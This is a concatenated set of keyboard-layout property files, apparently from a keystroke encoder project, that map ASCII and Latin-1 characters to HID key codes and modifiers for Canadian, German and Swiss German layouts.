| // 67 C 67 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 68 | // 68 D 69 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 70 | // 69 E 71 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 72 | // 70 F 73 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 74 | // 71 G 75 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 76 | // 72 H 77 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 78 | // 73 I 79 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 80 | // 74 J 81 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 82 | // 75 K 83 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 84 | // 76 L 85 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 86 | // 77 M 87 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 88 | // 78 N 89 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 90 | // 79 O 91 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 92 | // 80 P 93 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 94 | // 81 Q 95 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 96 | // 82 R 97 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 98 | // 83 S 99 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 100 | // 84 T 101 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 102 | // 85 U 103 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 104 | // 86 V 105 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 106 | // 87 W 107 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 108 | // 88 X 109 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 110 | // 89 Y 111 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 112 | // 90 Z 113 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 114 | // 91 [ 93 ] 115 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 116 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 117 | // 94 ^ 126 ~ 118 | ASCII_5E = KEY_NON_US_NUM, MODIFIERKEY_SHIFT 119 | ASCII_7E = KEY_NON_US_NUM 120 | // 96 ` 121 | ASCII_60 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 122 | // 97 a 123 | ASCII_61 = KEY_A 124 | // 98 b 125 | ASCII_62 = KEY_B 126 | // 99 c 127 | ASCII_63 = KEY_C 128 | // 100 d 129 | ASCII_64 = KEY_D 130 | // 101 e 131 | ASCII_65 = KEY_E 132 | // 102 f 133 | ASCII_66 = KEY_F 134 | // 103 g 135 | ASCII_67 = KEY_G 136 | // 104 h 137 | ASCII_68 = KEY_H 138 | // 105 i 139 | ASCII_69 = KEY_I 140 | // 106 j 141 | ASCII_6A = KEY_J 142 | // 107 k 143 | ASCII_6B = KEY_K 144 | // 108 l 145 | ASCII_6C = KEY_L 146 | // 109 m 147 | ASCII_6D = KEY_M 148 | // 110 n 149 | ASCII_6E = KEY_N 150 | // 111 o 151 | ASCII_6F = KEY_O 152 | // 112 p 153 | ASCII_70 = KEY_P 154 | // 113 q 155 | ASCII_71 = KEY_Q 156 | // 114 r 157 | ASCII_72 = KEY_R 158 | // 115 s 159 | ASCII_73 = KEY_S 160 | // 116 t 161 | ASCII_74 = KEY_T 162 | // 117 u 163 | ASCII_75 = KEY_U 164 | // 118 v 165 | ASCII_76 = KEY_V 166 | // 119 w 167 | ASCII_77 = KEY_W 168 | // 120 x 169 | ASCII_78 = KEY_X 170 | // 121 y 171 | ASCII_79 = KEY_Y 172 | // 122 z 173 | ASCII_7A = KEY_Z 174 | // 123 { 125 } 175 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 176 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 177 | // 124 | 92 178 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 179 | ASCII_5C = KEY_TILDE 180 | // 127 181 | ASCII_7F = KEY_BACKSPACE 182 | //231 ç 199 Ç 183 | ISO_8859_1_E7 = KEY_SEMICOLON 184 | ISO_8859_1_C7 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 185 | //ºª 186 | ISO_8859_1_BA = KEY_QUOTE 187 | ISO_8859_1_AA = KEY_QUOTE, MODIFIERKEY_SHIFT 188 | // 167 § SECTION SIGN 189 | ISO_8859_1_A7 = KEY_4, MODIFIERKEY_RIGHT_ALT 190 | // 163 £ 191 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 192 | // Euro Sign 193 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 194 | // 171 « 187 » 195 | ISO_8859_1_AB = KEY_EQUAL 196 | ISO_8859_1_BB = KEY_EQUAL, MODIFIERKEY_SHIFT 197 | -------------------------------------------------------------------------------- /Encoder/resources/ca.properties: -------------------------------------------------------------------------------- 1 | // Candian Keyboard Layout 2 | // CA layout by D4rk_F1r3 2013/12/2 3 | 4 | // 32 5 | ASCII_20 = KEY_SPACE 6 | // 33 ! 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 34 " 9 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 10 | // 35 # 11 | ASCII_23 = KEY_TILDE 12 | // 36 $ 13 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 14 | // 37 % 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 38 & 17 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 18 | // 39 ' 19 | ASCII_27 = KEY_COMMA, MODIFIERKEY_SHIFT 20 | // 40 ( 21 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 22 | // 41 ) 23 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 24 | // 42 * 25 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 26 | // 43 + 27 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 28 | // 44 , 29 | ASCII_2C = KEY_COMMA 30 | // 45 - 31 | ASCII_2D = KEY_MINUS 32 | // 46 . 33 | ASCII_2E = KEY_PERIOD 34 | // 47 / 35 | ASCII_2F = KEY_3, MODIFIERKEY_SHIFT 36 | // 48 0 37 | ASCII_30 = KEY_0 38 | // 49 1 39 | ASCII_31 = KEY_1 40 | // 50 2 41 | ASCII_32 = KEY_2 42 | // 51 3 43 | ASCII_33 = KEY_3 44 | // 52 4 45 | ASCII_34 = KEY_4 46 | // 53 5 47 | ASCII_35 = KEY_5 48 | // 54 6 49 | ASCII_36 = KEY_6 50 | // 55 7 51 | ASCII_37 = KEY_7 52 | // 55 8 53 | ASCII_38 = KEY_8 54 | // 57 9 55 | ASCII_39 = KEY_9 56 | // 58 : 57 | ASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT 58 | // 59 ; 59 | ASCII_3B = KEY_SEMICOLON 60 | // 60 < 61 | ASCII_3C = KEY_BACKSLASH 62 | // 61 = 63 | ASCII_3D = KEY_EQUAL 64 | // 62 > 65 | ASCII_3E = KEY_BACKSLASH, MODIFIERKEY_SHIFT 66 | // 63 ? 67 | ASCII_3F = KEY_6, MODIFIERKEY_SHIFT 68 | // 64 @ 69 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 70 | // 65 A 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 66 B 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 67 C 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 68 D 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 69 E 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 70 F 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 71 G 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 72 H 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 73 I 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 74 J 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 75 K 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 76 L 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 77 M 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 78 N 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 79 O 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 80 P 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 81 Q 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 82 R 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 83 S 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 84 T 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 85 U 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 86 V 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 87 W 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 88 X 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 89 Y 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 90 Z 121 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 122 | // 91 [ 123 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 124 | // 92 125 | ASCII_5C = KEY_TILDE, MODIFIERKEY_RIGHT_ALT 126 | // 93 ] 127 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 128 | // 94 ^ 129 | ASCII_5E = KEY_LEFT_BRACE 130 | // 95 _ 131 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 132 | // 96 ` 133 | ASCII_60 = KEY_QUOTE 134 | // 97 a 135 | ASCII_61 = KEY_A 136 | // 98 b 137 | ASCII_62 = KEY_B 138 | // 99 c 139 | ASCII_63 = KEY_C 140 | // 100 d 141 | ASCII_64 = KEY_D 142 | // 101 e 143 | ASCII_65 = KEY_E 144 | // 102 f 145 | ASCII_66 = KEY_F 146 | // 103 g 147 | ASCII_67 = KEY_G 148 | // 104 h 149 | ASCII_68 = KEY_H 150 | // 105 i 151 | ASCII_69 = KEY_I 152 | // 106 j 153 | ASCII_6A = KEY_J 154 | // 107 k 155 | ASCII_6B = KEY_K 156 | // 108 l 157 | ASCII_6C = KEY_L 158 | // 109 m 159 | ASCII_6D = KEY_M 160 | // 110 n 161 | ASCII_6E = KEY_N 162 | // 111 o 163 | ASCII_6F = KEY_O 164 | // 112 p 165 | ASCII_70 = KEY_P 166 | // 113 q 167 | ASCII_71 = KEY_Q 168 | // 114 r 169 | ASCII_72 = KEY_R 170 | // 115 s 171 | ASCII_73 = KEY_S 172 | // 116 t 173 | ASCII_74 = KEY_T 174 | // 117 u 175 | ASCII_75 = KEY_U 176 | // 118 v 177 | ASCII_76 = KEY_V 178 | // 119 w 179 | ASCII_77 = KEY_W 180 | // 120 x 181 | ASCII_78 = KEY_X 182 | // 121 y 183 | ASCII_79 = KEY_Y 184 | // 122 z 185 | ASCII_7A = KEY_Z 186 | // 123 { 187 | ASCII_7B = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 188 | // 124 | 189 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 190 | // 125 } 191 | ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 192 | // 126 ~ 193 | ASCII_7E = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT 194 | // 127 195 | ASCII_7F = KEY_BACKSPACE 196 | // 128 ¢ Pound Sign 197 | ISO_8859_1_A2 KEY_4, MODIFIERKEY_RIGHT_ALT 198 | // 129 £ Pound Sign 199 | ISO_8859_1_A3 KEY_3, MODIFIERKEY_RIGHT_ALT 200 | // 130 ¤ 201 | ISO_8859_1_A4 KEY_5, MODIFIERKEY_RIGHT_ALT 202 | // 131 ¦ SECTION SIGN 203 | ISO_8859_1_A6 KEY_7, MODIFIERKEY_RIGHT_ALT 204 | // 132 § SECTION SIGN 205 | ISO_8859_1_A7 KEY_O, MODIFIERKEY_RIGHT_ALT 206 | // 133 ¨ 207 | ISO_8859_1_A8 KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 208 | // 134 ¬ 209 | ISO_8859_1_AB ACUTE_ACCENT_BITS + KEY_SPACE, MODIFIERKEY_SHIFT 210 | // 135 ¬ 211 | ISO_8859_1_AC KEY_6, MODIFIERKEY_RIGHT_ALT 212 | // 136 ­ 213 | ISO_8859_1_AD KEY_PERIOD, MODIFIERKEY_RIGHT_ALT 214 | // 137 ¯ 215 | ISO_8859_1_AF KEY_TILDE, MODIFIERKEY_RIGHT_ALT 216 | // 138 ° 217 | ISO_8859_1_B0 ACUTE_ACCENT_BITS + KEY_SPACE, MODIFIERKEY_RIGHT_ALT 218 | // 139 ´ MICRO SIGN 219 | ISO_8859_1_BB ACUTE_ACCENT_BITS + KEY_SPACE 220 | // 140 ´ MICRO SIGN 221 | ISO_8859_1_B4 KEY_SLASH, MODIFIERKEY_RIGHT_ALT 222 | // 141 µ MICRO SIGN 223 | ISO_8859_1_B5 KEY_M, MODIFIERKEY_RIGHT_ALT 224 | // 142 ¶ MICRO SIGN 225 | ISO_8859_1_B6 KEY_P, MODIFIERKEY_RIGHT_ALT 226 | // 143 ¸ MICRO SIGN 227 | ISO_8859_1_B8 KEY_RIGHT_BRACE 228 | // 145 ± MATH SIGN 229 | ISO_8859_1_B1 KEY_1, MODIFIERKEY_RIGHT_ALT 230 | // 146 ² MATH SIGN 231 | ISO_8859_1_B2 KEY_8, MODIFIERKEY_RIGHT_ALT 232 | // 147 ³ MATH SIGN 233 | ISO_8859_1_B3 KEY_9, MODIFIERKEY_RIGHT_ALT 234 | // 148 ¼ MATH SIGN 235 | ISO_8859_1_BC KEY_0, MODIFIERKEY_RIGHT_ALT 236 | // 149 ½ MATH SIGN 237 | ISO_8859_1_BD KEY_MINUS, MODIFIERKEY_RIGHT_ALT 238 | // 150 ¾ MATH SIGN 239 | ISO_8859_1_BE KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 240 | // 151 É e ACUTE 241 | ISO_8859_1_C9 KEY_SLASH, MODIFIERKEY_SHIFT 242 | // 152 é e ACUTE 243 | ISO_8859_1_E9 KEY_SLASH -------------------------------------------------------------------------------- /Encoder/resources/de.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_GERMAN 2 | //Credits go to webdirector for patch (02/17/2013) 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 33 ! 9 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 10 | // 34 " 11 | ASCII_23 = KEY_BACKSLASH 12 | // 35 # ?? 13 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 14 | // 36 $ 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 18 | // 38 & 19 | ASCII_27 = KEY_BACKSLASH, MODIFIERKEY_SHIFT 20 | // 39 ' 21 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 22 | // 40 ( 23 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 24 | // 41 ) 25 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_RIGHT_BRACE 28 | // 43 + 29 | ASCII_2C = KEY_COMMA 30 | // 44 , 31 | ASCII_2D = KEY_SLASH 32 | // 45 - 33 | ASCII_2E = KEY_PERIOD 34 | // 46 . 35 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0 38 | // 48 0 39 | ASCII_31 = KEY_1 40 | // 49 1 41 | ASCII_32 = KEY_2 42 | // 50 2 43 | ASCII_33 = KEY_3 44 | // 51 3 45 | ASCII_34 = KEY_4 46 | // 52 4 47 | ASCII_35 = KEY_5 48 | // 53 5 49 | ASCII_36 = KEY_6 50 | // 54 6 51 | ASCII_37 = KEY_7 52 | // 55 7 53 | ASCII_38 = KEY_8 54 | // 55 8 55 | ASCII_39 = KEY_9 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 58 | // 58 : 59 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_Q, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Z, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_Y, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 126 | // 92 127 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | ASCII_5E = KEY_TILDE 130 | // 94 ^ 131 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 134 | //GRAVE_ACCENT_BITS + KEY_SPACE 135 | // 96 ` 136 | ASCII_61 = KEY_A 137 | // 97 a 138 | ASCII_62 = KEY_B 139 | // 98 b 140 | ASCII_63 = KEY_C 141 | // 99 c 142 | ASCII_64 = KEY_D 143 | // 100 d 144 | ASCII_65 = KEY_E 145 | // 101 e 146 | ASCII_66 = KEY_F 147 | // 102 f 148 | ASCII_67 = KEY_G 149 | // 103 g 150 | ASCII_68 = KEY_H 151 | // 104 h 152 | ASCII_69 = KEY_I 153 | // 105 i 154 | ASCII_6A = KEY_J 155 | // 106 j 156 | ASCII_6B = KEY_K 157 | // 107 k 158 | ASCII_6C = KEY_L 159 | // 108 l 160 | ASCII_6D = KEY_M 161 | // 109 m 162 | ASCII_6E = KEY_N 163 | // 110 n 164 | ASCII_6F = KEY_O 165 | // 111 o 166 | ASCII_70 = KEY_P 167 | // 112 p 168 | ASCII_71 = KEY_Q 169 | // 113 q 170 | ASCII_72 = KEY_R 171 | // 114 r 172 | ASCII_73 = KEY_S 173 | // 115 s 174 | ASCII_74 = KEY_T 175 | // 116 t 176 | ASCII_75 = KEY_U 177 | // 117 u 178 | ASCII_76 = KEY_V 179 | // 118 v 180 | ASCII_77 = KEY_W 181 | // 119 w 182 | ASCII_78 = KEY_X 183 | // 120 x 184 | ASCII_79 = KEY_Z 185 | // 121 y 186 | ASCII_7A = KEY_Y 187 | // 122 z 188 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 189 | // 123 { 190 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 191 | // 124 | 192 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 193 | // 125 } 194 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 195 | // 126 ~ 196 | ASCII_7F = KEY_BACKSPACE 197 | // 127 198 | ISO_8859_1_A0 = KEY_SPACE 199 | // 160 Nonbreakng Space 200 | ISO_8859_1_A4 = KEY_E, MODIFIERKEY_RIGHT_ALT 201 | // 164 ¤ Currency Sign 202 | ISO_8859_1_A7 = KEY_3, MODIFIERKEY_SHIFT 203 | // 167 § SECTION SIGN 204 | ISO_8859_1_B0 = KEY_TILDE, MODIFIERKEY_SHIFT 205 | // 176 ° DEGREE SIGN 206 | ISO_8859_1_B2 = KEY_2, MODIFIERKEY_RIGHT_ALT 207 | // 178 ² SUPERSCRIPT TWO 208 | ISO_8859_1_B3 = KEY_3, MODIFIERKEY_RIGHT_ALT 209 | // 179 ³ SUPERSCRIPT THREE 210 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 211 | // 192 À A GRAVE 212 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 213 | // 193 Á A ACUTE 214 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS = + KEY_A, MODIFIERKEY_SHIFT 215 | // 194  A CIRCUMFLEX 216 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 217 | // 196 Ä A DIAERESIS 218 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 219 | // 200 È E GRAVE 220 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 221 | // 201 É E ACUTE 222 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 223 | // 202 Ê E CIRCUMFLEX 224 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 225 | // 204 Ì I GRAVE 226 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 227 | // 205 Í I ACUTE 228 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 229 | // 206 Î I CIRCUMFLEX 230 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 231 | // 210 Ò O GRAVE 232 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 233 | // 211 Ó O ACUTE 234 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 235 | // 212 Ô O CIRCUMFLEX 236 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 237 | // 214 Ö O DIAERESIS 238 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 239 | // 217 Ù U GRAVE 240 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 241 | // 218 Ú U ACUTE 242 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 243 | // 219 Û U CIRCUMFLEX 244 | ISO_8859_1_DC = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 245 | // 220 Ü U DIAERESIS 246 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Z, MODIFIERKEY_SHIFT 247 | // 221 Ý Y ACUTE 248 | ISO_8859_1_DF = KEY_MINUS 249 | // 223 ß SHARP S 250 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 251 | // 224 à a GRAVE 252 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 253 | // 225 á a ACUTE 254 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 255 | // 226 â a CIRCUMFLEX 256 | ISO_8859_1_E4 = KEY_QUOTE 257 | // 228 ä a DIAERESIS 258 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 259 | // 232 è e GRAVE 260 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 261 | // 233 é e ACUTE 262 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 263 | // 234 ê e CIRCUMFLEX 264 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 265 | // 236 ì i GRAVE 266 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 267 | // 237 í i ACUTE 268 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 269 | // 238 î i CIRCUMFLEX 270 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 271 | // 242 ò o GRAVE 272 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 273 | // 243 ó o ACUTE 274 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 275 | // 244 ô o CIRCUMFLEX 276 | ISO_8859_1_F6 = KEY_SEMICOLON 277 | // 246 ö o DIAERESIS 278 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 279 | // 249 ù u GRAVE 280 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 281 | // 250 ú u ACUTE 282 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 283 | // 251 û u CIRCUMFLEX 284 | ISO_8859_1_FC = KEY_LEFT_BRACE 285 | // 252 ü u DIAERESIS 286 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Z 287 | // 253 ý y ACUTE 288 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 289 | // € Euro Sign 290 | 291 | -------------------------------------------------------------------------------- /Encoder/resources/ch.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_SWISS_GERMAN 0.9b ¦ Some symbols still missing (Euro, Pound...) 2 | //Author - Powerslave ¦ Date - 07/02/13 ¦ Website - www.powerslave.ch 3 | //No Euro Key (not yet), and most of the french crap letters don't work aswell 4 | //but it works for all standard ASCII Letters, all you need for fun. 5 | KEY_NON_US_100 = 100 6 | 7 | ASCII_20 = KEY_SPACE 8 | // 32 9 | ASCII_21 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 10 | // 33 ! 11 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 12 | // 34 " 13 | ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT 14 | // 35 # 15 | ASCII_24 = KEY_BACKSLASH 16 | // 36 $ 17 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 18 | // 37 % 19 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 20 | // 38 & 21 | ASCII_27 = KEY_MINUS 22 | // 39 ' 23 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 24 | // 40 ( 25 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 26 | // 41 ) 27 | ASCII_2A = KEY_3, MODIFIERKEY_SHIFT 28 | // 42 * 29 | ASCII_2B = KEY_1, MODIFIERKEY_SHIFT 30 | // 43 + 31 | ASCII_2C = KEY_COMMA 32 | // 44 , 33 | ASCII_2D = KEY_SLASH 34 | // 45 - 35 | ASCII_2E = KEY_PERIOD 36 | // 46 . 37 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 38 | // 47 / 39 | ASCII_30 = KEY_0 40 | // 48 0 41 | ASCII_31 = KEY_1 42 | // 49 1 43 | ASCII_32 = KEY_2 44 | // 50 2 45 | ASCII_33 = KEY_3 46 | // 51 3 47 | ASCII_34 = KEY_4 48 | // 52 4 49 | ASCII_35 = KEY_5 50 | // 53 5 51 | ASCII_36 = KEY_6 52 | // 54 6 53 | ASCII_37 = KEY_7 54 | // 55 7 55 | ASCII_38 = KEY_8 56 | // 55 8 57 | ASCII_39 = KEY_9 58 | // 57 9 59 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 60 | // 58 : 61 | ASCII_3B = KEY_COMMA, 